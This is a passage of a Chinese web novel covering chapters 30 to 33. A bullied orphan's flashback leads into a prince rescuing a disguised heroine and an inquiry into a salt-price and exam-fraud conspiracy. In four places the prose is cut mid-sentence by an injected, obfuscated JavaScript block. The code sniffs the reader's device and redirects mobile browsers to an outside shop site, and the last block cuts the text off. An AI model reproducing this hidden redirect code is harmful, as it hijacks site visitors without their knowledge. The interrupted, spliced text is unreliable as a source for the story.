眼前一阵眩晕，季辞秋发现自己回到了初中的校园。 “听说了吗？她是个孤儿，没爸没妈的那种。” “孤儿？家里一定很穷。” “那她还整天一张臭脸，装什么呢？” 如往常一样，季辞秋背着书包绕过长长的走廊，装作没听见般，走入教室。 刚坐下，一旁的女生便不经意地凑过来，拎起季辞秋用过的草稿纸，调笑道：“啧，这草稿纸，这么密密麻麻了还在用。不像我，一张纸，写一个公式就丢掉了。” 另一女生笑道：“诗瑶，人家家里......抠门点也是应该的。” 季辞秋拿回草稿纸，没说什么。 班级最后一排忽然一阵骚动，一男生拿着一个笔记本，绘声绘色地朗读：“今天回去晚了，外婆给我下了碗肉丝面，很好吃。虽然这次期中没考好......” 季辞秋一顿，脸上腾起一片燥热，她摸了摸桌肚，猛地站起身，一言不发地往后排走去。 “还给我。”她面无表情。 “这是你的？”男生毫不畏惧，捧腹道，“我说大学霸，你是多久没吃过肉丝面了。” 话一出，引起一阵哄笑。 季辞秋的脸更红了，她伸手，想要抢回笔记本。 “哦呦，生气了。”男生高高举起本子，传球一般扔给了另一个高个男生。 眼见本子到了另一个人手里，季辞秋连忙去追，可她个子不高，只能像猴一般被众人戏耍。 在一个男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806842|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再一次跃过她将本子传到别处时，她停住了。 “来抢啊。”男生挑衅道，得意洋洋地晃了晃本子。 她一言不发地走过去，看了男生一眼，在他将本子传递给下一个人之前，利落地对着他的眼睛给了一拳。 “你们这的学生，怎么随便打人？老师还管不管了？”一位中年女人在办公室大喊大叫。 “吴梓杰妈妈，发生这样的事我们很抱歉，但还请您冷静一下。孩子已经送医院看了，没有大碍。”班主任安抚道。 “没有大碍就没事了？”女人瞪着眼道，“这小蹄子的家长呢？” “这......”班主任有些为难，小声说明了缘由。 女人听了，冷哼一声：“怪不得，没家教。” “季同学，你说说，为什么要打人？”班主任和气道。季辞秋一直是班里的好学生，从未有过这样的举动。 季辞秋闷声道：“他们偷我的日记本。” “拿你个日记本就要打人？真是不得了。”女人不以为意道。 季辞秋握了握拳：“他们在班里传阅，还不还给我。” “小男孩嘛，”女人哼笑一声，很不屑，“调皮点很正常。你说是不是，老师？” 班主任没吭声。 “我不管，我儿子受了伤，今天你必须给我道歉，下跪道歉。” “吴梓杰妈妈，道歉是应该的，下跪是不是就不必了。”班主任打圆场道。 “怎么不必？我儿子可是伤了眼睛，我看她可怜，只让她下跪道歉已经很不错了。”女人双手抱胸，不耐烦道，“我儿子的舅舅在教育局，我已经打电话给他了。你们要是不想把事情闹大，就赶紧让她给我和我儿子道歉。” 话音刚落，校领导推门而入。 “张老师，怎么回事？”年级主任道。 张老师说了事情始末，另一位教务主任听完，和气道：“小男孩调皮，拿人东西是不对，不过再怎么样也不能打人。” 张老师沉默，这所中学只是市里的一所普通初中，每年很少有考上重点高中的学生，学校的管理松散，自上而下地和稀泥。但在她眼里，季辞秋一直是懂事省心的学生，且很有潜力。 这件事校方的态度摆明了想大事化小，小事化了，她作为一个老师，无能为力。 “道个歉，不就没事了。”教务主任乐呵呵道，眼神示意两侧。 “你们要做什么？”季辞秋看着靠近的二人，不住后退。 “我不要！我没有错！”她被人架着，挣扎起来。 眼前的景象逐渐模糊。 “道歉！道歉！道歉！”耳边传来哄闹的人声，愈来愈大，如排山倒海般，将她淹没。 她捂紧耳朵，蜷缩在地上，不怀好意的议论变为一个个巨大的字块，轰隆隆地向她滚来。 她猛地睁开眼。 季辞秋醒来时是黄昏，日光晦暗，在窗前的旧桌上投下朦朦胧胧的竹影。 她头痛欲裂，方才的梦与记忆如出一辙，以至于在看到古旧的木窗时恍惚了一会，才意识到自己早已不在那个世界。 她想起来了，自己在抢亲的途中跳入水中，然后便失去了意识。 是谁救了她？ 季辞秋下意识掀起被子看了看。 30. 女子 被子里的身体衣着还算完好，只有肩膀处被拉开，绑了几层布带。 屋外传来脚步声，季辞秋连忙闭上眼。 叶望身着玉色里衣，走入房内。 半个时辰前，他寻到府的东边，恰好见到季辞秋跃入水中。水流湍急，跃入水中的人影被裹挟着逐渐下沉，他紧跟而下，将将抓住了她。 为了躲避追兵，他随着水流漂到下游的一处废弃小屋，甩掉了他们。 不知这些身手不凡的侍卫从何而来。 不过，眼下还有另一件事。叶望看了一眼床上的人，目光沉沉。 躲进里屋，他见季辞秋右肩有伤，昏睡不醒，便理所当然地扒开她的衣裳欲为其包扎止血。这是在战场上人人必备的救命方法，是以他处理起来十分利落。 然而，当他拨开里衣时，愣住了。只见前胸的位置，绕着几圈厚厚的绷带，绷带之下，是隐隐的柔软凸起。 叶望周身一震，后知后觉，明白了是什么。 耳根撩起火来，他硬着头皮，有些手忙脚乱地合上衣裳，勉强将伤口从外侧包扎好。 这么长时间，他竟没看出她是个女子。 叶望心中惊异，床上人眉眼清秀，一头乌黑的长发散开，映衬出柔和的面容，之前那些一闪而过的疑惑有了答案。 季辞秋躺在床上，余光中感觉那人盯着自己看了片刻，回到桌前。她小心翼翼睁开眼，看清了来人，心中一沉。 只见叶望端坐着，湿透的里衣紧贴肌理，勾勒出精悍的轮廓。头发上未干涸的水珠沿着下颌滑落，没入半敞的衣襟。剑眉微蹙，薄唇紧抿，烛光在棱角分明的脸上投下深浅不一的阴影。 赏心悦目的形体，可她此刻无心欣赏。 “咳......”季辞秋躺在床上，干咳了几声。 “醒了。”叶望的声音淡淡传来，听起来没有异样。 “王爷，”季辞秋艰难撑起身子，“是王爷救了我......” 叶望不置可否。 季辞秋想起什么，干涩开口：“葵生带着那姑娘往西南边跑了，可有消息？” “未曾，”叶望将袖口卷上去些，“追你的人还在搜，先躲着。” “哦......”季辞秋垂眸。 又是一阵沉默。 她头疼地紧，心中却砰砰直跳，踌躇再三，试探道：“王爷好手法，这伤口从衣裳外面竟也可包扎。” 想问什么，叶望心中了然。夜色逐渐吞没周边万物，烛火跃动，带动人的身影左右摇摆。他假装晃眼，将烛台移远了些，掩去脸上不自然的神色，而后对上她的目光。 “军中的寻常手法，不稀奇。” “原来如此。”季辞秋咽了咽口水，心稍稍安了些。 “你们几个，去那边看看。”远处传来人声，她心中一紧，只见叶望已眼疾手快地熄灭烛灯。 屋内漆黑一片，透过窗牖，依稀看见几道黑影自船上跃下，往这边搜寻过来。 此地不宜久留。 季辞秋挣扎着爬起，正欲下床，眼前却直冒金星，差点一头栽在地上。 “上来。”黑暗中响起叶望的声音。 季辞秋一愣，她没听错吧？方才昏迷也就罢了，如今清醒着，借她八百个胆子，也不敢让堂堂殿下背她啊。 她倒吸了一口气，迟疑道：“王爷，我自己可以......”说着稳了稳身子，踏到地上。失血过多，高烧不止，没走几步，她便额冒冷汗，扶着墙才勉强站住。 黑暗中传来若有若无的轻叹。“想不想活命？”语气无波无澜，似是陈述无关紧要的话题。 说到这份上，那还是活命吧。 季辞秋咬了咬牙，摸索着向前，触碰到一块坚硬，还未反应过来，便被一双有力的手臂捞起，撂到了背上。 叶望的背和想象中一样坚实宽阔，季辞秋伏在其上，随着他的步伐颠簸着。不知道是高烧蔓延还是什么，她的脸颊愈来愈烫，想抬起身子离他远些，却实在没了力气。 黑暗中，她感觉叶望在密林中敏捷地穿梭，身后的人声也越来越小。她又晕了过去。 此时的叶望却不太好。 多年的战场经验使他敏锐地判断出对方的位置，并巧妙地绕过他们，没入密林中。密林幽深，想要辨清方向十分不易。 叶望正专注于赶路，忽得耳廓笼上一团热气，他浑身一滞，一股怪异的感觉蔓延全身。 侧头看去，罪魁祸首正耷拉着头，酣睡着。泛白的嘴唇正对着耳朵，吐气如丝。 叶望紧了紧拳头，强迫自己拉回思绪，紧贴后背的那抹柔软触感却愈来愈突出，直叫他血气翻涌，意绪不宁。 他咬了咬牙，目光寒凉。此次姑且留着她，他日摸清她的底细，定不会放过她。 密林中潮湿异常，夜的寒气也更为刺骨。过了许久，叶望感觉背上的人呼吸渐弱，身体也逐渐冰凉。 他心觉不好，放慢了脚步，在林中找了块隐蔽的地方，将人放下。又捡了些干柴，生起火。 季辞秋又做了个梦，梦里她身处极地冰川，冻得瑟瑟发抖，忽然远处现出一座火山，砰地一声喷发，转眼间岩浆就涌到眼前。 她倒抽一口气，猛地惊醒。 只见自己背靠着一棵大树，面前一小堆火正噼里啪啦地燃烧，不时蹦出细碎的火星。 远处，一个身影背对她盘腿坐着，一动不动。 幽深的密林，偶尔传来怪异的声响，像是女子在哭泣。季辞秋的身上时冷时热，心中害怕，试探叫了声：“王爷？” 没有回应，她浑身发毛，颤颤巍巍地拢起衣裳。 “嗯。”叶望的声音迟迟传来，透着些疲惫。 季辞秋心安了些：“那些人还在吗？” “去下游了。” “哦……”她应声。不知为何，她总觉得气氛有些奇怪，莫非是她昏迷的时候，无意识说了些什么？ 想到此，她坐立难安起来，酝酿了一阵，终于鼓起勇气道：“王爷，我先前昏迷时，有说什么吗？” 叶望正闭目养神，闻言睁开眼。“何意？” “就是……我没有说什么胡话吧？” 胡话？叶望看向远处。方才在废屋里，倒是见她挣扎得厉害，一直喃喃着“我没错”，不知梦见了什么。 “不曾注意。”他淡淡道。 天色将明时，叶望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811417|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见季辞秋恢复了些，重新开始赶路。 五殿下音讯全无，葵生青戈与一众千牛卫的护卫一夜未眠。为此，庞谨还与葵生大吵一架，指责其护驾失职。 葵生与青戈无意争辩，焦头烂额地四处寻找。他们以山水居为中心，在其周边搜寻，竟碰见了当初追葵生的那帮人。 为了不打草惊蛇，他们悄声跟着，并在附近仔细搜查。 晨光熹微中，二人精疲力竭，远远看见一人自林中而出。“王爷！”待看清来人，二人悬心落地，连忙奔过去。 见叶望还背着一人，葵生忙从背上接过。 “是白兄，他怎么了？” “先回府。”叶望似是累极，无意多说，马不停蹄地回了府。 “殿下。”千牛卫见叶望平安归来，长舒一口气。 “回程突遇劫匪，本王无碍。”叶望轻描淡写地解释道。 “殿下，”庞谨跪地道，“千牛卫承接天命，护卫殿下安全。可殿下一再不准护驾，实叫庞谨为难。” “此次是本王疏忽，”叶望垂头解开臂鞴，“今后你们一同吧。”不准护驾只是一时之计，他心里有数。 “本王乏了，回去吧。” 众人应声退下，庞谨悄声同一旁护卫道：“调查的事儿先写上，连同今日的，一同送回长安吧。” 护卫应声，急匆匆地走开了。 —— 静水轩。叶望净身完毕，换了身衣裳，见葵生与青戈站于门外，面色凝重。 “王爷，”葵生没忍住道，“他一个商户，竟有如此身手的侍卫，这不对吧。” “是有问题，”叶望坐定，揉了揉眉心，兀自问道：“那位姑娘可好？” “在侧屋，人倒没什么事，就是受了些惊吓。”葵生回。 叶望点点头：“叫黎叔送点吃食，安抚一下。” “好。”葵生见叶望无意展开话题，只好应声退下。 “临波先生那边如何？”叶望看向青戈。 “回王爷，那人谨慎异常，我跟着他的马车到了南水门外的观音山，便不见了踪影。不过人是往山上去的，在山上搜搜，许有收获。” “嗯。”叶望应声。越谨慎，越证明其中有鬼。 “还有一件事，”叶望示意青戈凑近，“查一查无影堂，有没有收过女子做门生。” “无影堂？”青戈眉头皱了皱，想起先前在天机阁打探到的消息，又听叶望说了女子，心中疑惑。 叶望无意解释，继续道：“还有，打听一下双线结锦缎款的香囊何时在广陵兴起过。” 白轩的随身香囊？王爷怎么对这个感兴趣了。青戈更疑惑了，他犹疑了几分，只听叶望道：“此事不可透露他人，只你我二人可知。” “是。”青戈会意，抱拳退下。 叶望慢条斯理地擦拭着刀刃，眼中倒映冷冷寒光。 女扮男装，怎么看都不是寻常人所为，加上她那一身怪异的武功，疑点颇多。如今知晓了她女子的身份，先前的线索又有了新的思路。调查下去，说不定有意外之喜。 “白轩。”他喃喃念出二字，嘲弄一笑。 只怕这名字，也是假的。 31. 临波 天刚蒙蒙亮，邱家的大门就被一群人粗暴地踹开。新娘逃跑，搜寻一夜无果，胡泽谦大发雷霆，等不及来兴师问罪。 “滚出来。”他站在院中大吼，一脚踹翻一口陶缸。 哗啦一声响，在安静的早晨显得格外刺耳。 邱家人陆续醒了，匆匆忙忙地套上衣服，见胡泽谦嚣张跋扈地站在院中，不敢吱声。 邱老被人搀扶着，自房中走出，看到胡泽谦，和气问道：“胡公子，出什么事了？” 胡泽谦怒极反笑，他踱步凑近，慢悠悠道：“老家伙，还给小爷装无辜呢。说，把那贱人藏哪了？” 这般言语粗鲁，邱老一时愣在原地，隐隐约约从话里听出了点什么。 婉儿跑了？ 他心里一惊，眼风扫过邱族英和儿媳，见他们垂头不语，已是明白大半。 他顺了口气，强颜欢笑道：“胡公子，这中间是不是有些误会。婉儿自从被接走，老夫就再也没见过她了，何来藏一说？” 胡泽谦哼笑一声，环顾四周：“搜。” 一群人鱼贯而入，翻箱倒柜半天，一无所获。 临走前，胡泽谦显然有些失望，他扫视了一圈缩在角落的邱家人，恶狠狠道：“老实点，别给我耍花招。若是被我发现私藏贱人，你们邱家就等着卷铺盖走人吧。” 他一甩长袖，带着一群人气势汹汹地离开了。 前脚刚走，李氏便支撑不住，拂袖呜呜痛哭起来。 邱族英顾不上安慰李氏，小心瞅着邱老的脸色。 邱老拄着拐杖的手微微发颤，目送胡泽谦的背影良久，缓慢地转过身来。 “爹……”邱族英心虚上前，欲搀扶。 “跪下！”邱老厉声道。 邱族英自知理亏，闷声跪了下来。 “我老了，管不了你了，”邱老强压着怒气，声音发颤，“你瞧瞧你做了什么……” 邱族英垂头不语。 “逆子，逆子……邱家祖祖辈辈的心血，全都要被你毁了！”邱老恨铁不成钢地盯着邱族英，见他一声不吭，冷哼了一句，回屋去了。 邱族英在地上长跪许久，被家人好说歹说，想起未开张的店，才挣扎着起来。 到了店里，他整理好思绪，重新张罗起生意。一人迈入店内，他习惯性地吆喝，却觉着来人眼熟得紧。 “你女儿救出来了，”葵生开门见山，附耳轻声道，“若想见她，莫忘了先前的约定。” 邱族英听到女儿得救的消息眉头微微舒展，却又在听到约定后皱了皱眉。 他抹了把脸，陪笑道：“大人，可还容我耽误几日？近来生意繁忙，实在走不开……” 葵生看他一眼，答应了，临走前报了个地儿：“若是想好了，来这便是。” “小的明白。”邱族英连忙应道。 他的心中一团乱麻，先前救女心切，未曾细想便答应了。如今小女救出来了，爹的一番话又让他如坠冰窟。 那胡泽谦可不是善茬，胡家有权有势，捏死邱家如同捏死一只蚂蚁。现今还未动手，只是还没寻着婉儿罢了。 为了一个女儿拉整个邱家下水，他做不到。 况且，那些他看见的听见的，说出来就有用了吗？他还是太天真。这世道从来险恶，若非如此，盐价怎能一步步攀升，婉儿怎能光天化日就被抢走？ 邱族英越想越颓丧，不知该如何是好。罢了，先拖着吧，拖一天是一天，他想。 —— 南水门外，观音山。观音山地处广陵南郊，山形如莲台捧月，溪流环抱似玉带缠腰。 一架金丝楠乌木马车正缓缓行驶在蜿蜒山路上，有笑声时不时传出。 “五殿下，再饮一杯？”杜琼玉举起玉盏，声音妩媚如丝。 “美人发话，本王恭敬不如从命。”叶望朗声笑道，接过玉盏，一饮而尽，再放下时眼底已一抹幽深。 一日前，他托胡升泰向临波先生递了封拜帖，大致意思是在婚宴上被他的画作惊艳，想登门拜访，一睹大师风采。 临波先生近来声名鹊起，不少富商官宦有意结交，这样的拜帖并不突兀，自然也未被搪塞。 临波先生的住处在观音山后山上，古柏苍松间隐见屋舍，时有钟磬声自云深处传来，恍若世外仙境。车辙声渐止，二人也收了笑。 庞谨掀开车帘，恭敬道：“殿下，到了。” 叶望与杜琼玉下了车，俱是一惊。丛林掩映间，是一座雕栏玉砌的府邸，门前石狮镇守，金钉朱户耀目，气派程度不输官家大院。 一侍女立于门前，打量来人气度不凡，忙躬身请入内。 府内更是华丽，亭台楼阁参差，曲廊回环如迷，正厅悬"水墨乾坤"匾额，地铺昆山白玉。后院引活水成池，九曲桥畔立十二生肖像，假山怪石嶙峋。 院中草庐内，坐着位长须男子，约莫不惑之年，正提笔勾勒画卷。听到声响，他撂下笔，朝着来人恭敬一揖：“草民参见殿下。” 叶望亦回礼：“久仰先生大名，而今终临贵府，微薄小礼，还请笑纳。”说着大手一挥，庞谨同一侍卫捧着红木箱上前，里面装满金银珠宝。 临波先生眼中精光闪过，明显雀跃了些：“这怎好意思，殿下实在太客气。” 叶望无所谓地摆摆手：“一点诚意罢了，先生收下吧。” 临波先生应下，令小厮将箱子收好，笑看面前的二人，阿谀道：“都道五殿下玉树临风，今日得见方知传言未及万一。这位想必便是绮陌楼的琼娘子吧，果真似芙蓉出水，天姿国色。二位并肩而立，恰似瑶台双璧，蓬荜生辉呐。” 一通溜须拍马，叶望微微一笑：“先生过奖。” 寒暄过后，临波先生将他们引至内院，展示自己的过往画作，叶望颌首听着，偶尔夸赞，相谈甚欢。 “这些都是已经示人的吗？”叶望忽道。 临波先生愣了一下，点头。 “先生创作至今，想必定有些私藏的心爱之作，”叶望看向他，眼中有些期待，“不知本王可否一睹一二？” “这……”临波先生有些迟疑。要说私藏，确是有的，只是还从未带人见过。不过也不是什么见不得人的东西，看在五殿下充满诚意的见面礼上，带他见见也无妨。 想到这儿，他浮起笑，殷勤道：“乐意之至。” 叶望与杜琼玉跟着他来到一处偏院，入了正堂。堂前是一道屏风，绕过屏风，竟是一条密道。庞谨欲跟上前去，只听临波先生为难道：“殿下，这密道通往的乃鄙人私地，不便旁人入内……” “大胆。我护殿下周全，出了事你担待得起？”庞谨沉声道。 “无碍，”叶望摆摆手，“一个私库罢了，你且在这守着。”说着同杜琼玉一起入了密道。 密道内狭窄，艰难穿行数十步，过了转角，眼前豁然开朗。硕大的暗室仿若地窖，整齐挂着一幅幅精美的画卷。 临波先生显然对自己的收藏颇为得意，兴致满满地介绍着。 “这幅是米朔大师的手稿……这幅是天福大师的……”众人渐渐走入密室深处。 “殿下看这幅……”临波先生正在兴头上，步伐也随着挂画向前，他走到一幅画前站定，殷切回头，却忽得一愣。 许是他脚程快，二人竟未跟上，停留在原地。 廊壁上的烛火昏暗，投射出两道拉长的身影，沉默地对峙着。不知为何，他忽然有点心慌，强装镇定道：“殿下，这边。” 人影静悄悄地，没有移动。一瞬间，他心中发毛，寒毛直竖，僵立在原地。 “临波先生，可还记得我？”黑暗中悠悠传来一道女声，只见其中一道人影解开披帔，缓缓走过来。 光影转动，映照出女子明丽的面容，勾起一段陈年旧梦。 “琼姑娘莫要玩笑。”临波先生心头震动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811418|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，强颜欢笑道。 “不记得也罢，”杜琼玉神情冷淡，“可我好像见过你。” “赵知远，广陵人，天凤十年入朝为官，官至礼部员外郎，天凤十八年勾墨案后解职还乡，后号临波先生，以书画渐长。” 赵知远背靠墙壁，面部肌肉随着杜琼玉的话语逐渐颤抖。 “别出声，私库外面守着的人是朝廷派来的，”叶望逼近，沉声道，“若是不想惹上麻烦，就小声些。” 这番话将赵知远的求救逼回了喉咙里，他咽了咽口水：“你们要做什么？” “莫紧张，问你几个问题罢。”叶望不紧不慢道，眼神示意杜琼玉开始。 杜琼玉深吸一口气，缓缓开口：“天凤十八年的殿试考官，你在其中？” 赵知远沉默地盯着地，好一会儿，认命般地，点了点头。 “参与殿试誊录的除了你，还有国子监祭酒、礼部侍郎、礼部司郎中，对吗？” 赵知远仰头思索了一会，点点头。 “勾墨案发，其余三人都被处以极刑，为何只你一人安然无恙？” “因为我本就无罪。”这次回答得很干脆。 “你是说，你没有参与舞弊？” 赵知远点头。 “如何证明的？” “实际的誊录名册里没有我的名字，这点可以同刑部求证。” 此话一出，叶望与杜琼玉皆是一愣。 “为何？” “官阶不够。”他自嘲一笑。 二人默了默，杜琼玉死死盯着他，声音有些发紧：“那依你之见，此案可有无辜之人？” 赵知远闻言，看她一眼，摇了摇头。 “没有？你撒谎！”杜琼玉有些控制不住，声音提高了些，又迅速低下来。 “我也不知，”赵知远摸了把脸，似乎极力想逃避，“无论过去如何，现今我只是个卖画赚钱的庶民，前尘往事早已烟消云散，二位放过我吧。” “既未参与舞弊，为何要解绶还乡？”叶望定定道，“六部的官位，得之可是不易。这么些年，你就甘心如此？” 赵知远冰块般的脸上抽动了一下，似乎被戳到痛处，呼吸也变得急促起来。 “神仙打架，凡人遭殃。”他眼神涣散地看向私库尽头，喃喃道。 “神仙打架？何人同何人打架？”叶望紧追不放。 赵知远没吭声，盯着墙上栩栩如生的青云飞鸟图，有些失神。 天凤十八年，他怎会不记得。那一年，他身居礼部员外郎，仕途顺畅，礼部司郎中又是他的同乡，对他照顾有加。算命先生说，如非意外，不出两年，便可加官进位，前途一片光明。 可意外来了，勾墨案发，一夜天翻地覆。主考官国子监祭酒、礼部侍郎、礼部司郎中锒铛入狱，而他则因职权阴差阳错逃过一劫。 “话说回来，还是多亏了司郎中，我才能苟活至今。”赵知远兀自道。 “此话怎讲？” “如殿下所言，殿试誊录名册里，原本是有我的。”赵知远悠悠道，“殿试前一日，司郎中不知从何处翻出一卷文书，说正五品以下官员不得参与誊录，执意不准我去。为此我还暗暗生气，谁曾想，竟叫我逃过一劫。” “后来，我去狱中探望司郎中，他只说是巧合，又同我说京中暗流汹涌，劝我解了官职，远离纷争，否则有杀身之祸。我原本没听进去，可回去细细揣摩，越觉得话里有话。” “说是神仙打架，可我们这些小吏哪知何人打架。只求保全小命，再赚点银子，就足够喽。” 赵知远絮絮叨叨说完了一大段，抬头看了看对面两人：“我知道的就这些。” 叶望看了一眼杜琼玉，点点头。 “临波先生，今日之事承情。不过若想继续眼下生活，方才所言，还须谨守舌关，休对外人提起半字。” “鄙人谨记。”赵知远点头。 33. 反抗 一大早，大市西南角的邱家盐铺前就围满了人。 “哎呦，瞧这砸的，简直欺人太甚啊。” “那胡公子太嚣张了，还有没有王法了？” “邱掌柜也是，惹谁不好，惹他。” 一群人望着一堆狼藉叽叽喳喳，长吁短叹。 “邱掌柜来了。”不知是谁喊了一声。 人群中清出一条道，引着不明所以的邱族英上前。 “邱掌柜，你家店被砸了！”有人按耐不住，抢先道。围观群众纷纷应和，为之扼腕叹息。 邱族英心中一沉，急急拨开人群，到了近前，两眼一黑。 “邱掌柜！”旁人急急搀扶住他，他闭了闭眼，复又睁开，身体止不住地颤抖。 盐铺里狼藉不堪，货架倾覆，陶罐碎裂，白花花的盐粒与碎瓷混在一处，沾了泥水，凝成灰白的硬块。柜台被掀翻在地，铜秤断作两截，墙上的盐引文书被撕碎，纸屑散落一地。 他翻了翻角柜，上好的盐罐不知所踪，只留下空荡荡的木格。 围观人群逐渐散去，他有些无力，瘫在横倒的货架旁。 看着周遭的一切，他强迫自己冷静下来，默默计算着损失，算着算着，禁不住放声大笑起来。 太可笑了，他邱家祖祖辈辈兢兢业业，待人宽厚，诚信经营，为商从未克扣过半两。这么小心维持的家业，一夕之间便毁于一旦，凭什么？ 凭什么啊！ 他坐在满地狼藉之中，终于支撑不住，痛哭起来。 哭声传至街上，引得人群侧目，却也只能摇头叹气，为之惋惜。 不知过了多久，邱族英哭得无力了，整理整理衣裳站起来。 店暂且没法开了，他迈出盐铺，心中一阵迷茫，不知往何处去，只漫无目的地走着。 走出大市，拐入一条小道。 “呦，邱掌柜，来吃茶？”小二见着熟客，殷勤道。 邱族英扯了扯嘴角坐下：“一份大碗茶。” “可要些别的？” 邱族英摆摆手，望着街边发呆。 “老邱，可算找着你了。”几名年轻男子不知从何处窜出，急急上前。 邱族英看到来人，愣了愣，有气无力道：“寻我作甚？” 几名男子毫不客气，拉开椅子坐下。 “老邱，店里如何？”其中一位关切问道。 邱族英：“该砸的都砸了，其余没砸的，都被拿走了。” “这是流匪啊！”一人拍案而起。 “老邱，你就打算一直这般忍下去？” 邱族英盯着碗里的茶，没吭声。 几名男子对望一眼，其中一人凑近，低声道：“你可记得那日我们收盐瞧见的？那盐铁司将盐价定得那样高，定是不想让我们买走，自己留着偷卖呢。” “咱们何不报了官，让官府好好查查这帮人。” 邱族英心中明了，眼中透出忿恨，又倏地消逝：“官官相护，怕是无用。” “不试试如何知道？”一人忍不住道，“盐价飞涨，寻常人吃不起，咱们亦卖不出，只得瞅着富户脸色做生意。勤勤恳恳、低三下四的，一年到头，才将将养活一家。” “老辈求稳，安于现状，我理解。可我们这些小辈，哪一个不是窝着一肚子憋屈，无处伸张。” 邱族英心中纠结，紧握瓷碗道：“报了官，若不成，往后怕是不好过了。” “横竖不过是卷铺盖走人罢，”青年眉毛一横，“有一门手艺，还怕饿死不成？” “反正这苟且偷生的日子，我也不想过了。” 其余几人纷纷应和。 邱族英摩挲着碗面的纹路，已有所动摇。他又何尝没有受够这样的日子，都说一分耕耘一分收获，可自他掌家后，便再未体会到。节食缩衣，扣扣搜搜，才换来不多的收益。如今，更是连自己的女儿都护不住。他一味退缩，以为可以息事宁人，却换来旁人的变本加厉。再忍下去，还有用吗？ 他越想越气愤，只觉胸中堵了千斤重的巨石，遂端起茶碗一饮而尽，重重摔在桌上。 “诸位说得在理，一味忍让不是办法，”邱族英振声道，“我倒是有个报官的路子，不过还请诸位保密。” “一定。”众人纷纷道。 邱族英同他们说了一位大人主动寻他做交易并救出他女儿的事。 “听上去靠谱，”一人沉思道，“那位大人能将你女儿从胡府劫走，定是有些本事的。且他冒着这般大的风险，全为从你这套话，定是对此事颇为重视。” 邱族英被他这么一说，心中底气更大了些，他紧握拳头，像是下了极大的决心，步出茶摊。 —— “邱家的店被砸了？”叶望负手立于院中，侧身问。 “千真万确，左邻右坊都议论呢，说那胡公子欺人太甚。”葵生道。 叶望勾了勾嘴角，这胡泽谦，倒是帮了他大忙。 他沉吟片刻，长袖一挥：“走，你去一趟清一阁。” “王爷，你呢？”葵生眨巴着眼睛。 “本王随后便到。” 刚迈出院子，庞谨见其一身出行装束，上前道：“殿下要往何处？” “绮陌楼。” 庞谨心下了然，紧随其后，出了府。 正值午后，绮陌楼内冷清，几位涂脂抹粉的女子坐在正厅闲唠着。其中一位眼尖，远远瞧见门外一风光霁月的公子，朝左右使眼色，众人连忙整理裙裾。 “五殿下。”鸨母早已认出叶望，笑盈盈地迎上去。只见叶望着一身藏青色挑花锦袍入内，环顾一圈，径直朝二楼走去。 “雪蕊，殿下方才瞧你了？”一女子望着叶望的背影，掩扇低声道。 “怎会？梅姐姐莫要玩笑。”雪蕊一愣，连忙否认，脸上飞起两团红晕。 “我就随口一说，瞧你羞的，”雪梅禁不住笑了起来，“你该不会——恋慕殿下吧。” “梅姐姐！”雪蕊窘迫极了，急急去捂雪梅的嘴，“莫要乱说！” “你急什么？又不是什么丢人事。”雪梅笑着躲到一边，“依我看，这五殿下生得一副好相貌，尤其那双桃花眼，自带风流，也不知俘获了多少女子。” 说着话锋一转，“不过五殿下眼里只有琼娘子，对绮陌楼的其他姐妹不闻不问，当真是可惜了。” 另一边，叶望上了二楼，来到寻芳阁门口。 “五殿下。”婉转女声自房内传来。 “一起？”叶望回看身后的庞谨，邀请道。 庞谨轻咳一声：“不敢，卑职去楼下守着。”说着头也不回地走了。 叶望快步入内，合上阁门，径直走向窗牖。 “怎么了？”杜琼玉奇怪道。 “这条街巷，往来行人可多？”叶望朝下看了看。 “楼间窄巷，素日里鲜少行人。” 叶望点头：“我从这翻下去，去一趟对面的清一阁，若有人问起，就说我还在这儿。”庞谨寸步不离，只能行此下策。 “好。”杜琼玉会意，应声道。 清一阁紧挨着绮陌楼，却不似绮陌楼笙歌鼎沸，竹林掩映间处处是清净无为。 叶望脊背挺拔，静坐于窗边写字，眉眼浓烈，任谁看都是风流浪子，周身却透着生人勿近的气息。 葵生是个武人，字识得不多，性情又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 